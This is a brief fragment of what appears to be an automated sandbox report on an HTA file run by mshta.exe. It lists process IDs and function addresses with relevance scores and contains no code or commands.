System Behavior

Analysis Process: mshta.exePID: 7036, Parent PID: 600

General

Chronological Activities

Windows Analysis Report
c1.hta

Function 02CFAF30 Relevance: 4.2, Strings: 3, Instructions: 481
COMMON

Function 02CFA3F4 Relevance: 1.8, APIs: 1, Instructions: 284
processCOMMON

Function 02CFB9FE Relevance: 1.8, APIs: 1, Instructions: 284
COMMON

Function 074D1A18 Relevance: 5.6, Strings: 4, Instructions: 589
COMMON

Function 074D19F9 Relevance: .1, Instructions: 125
COMMON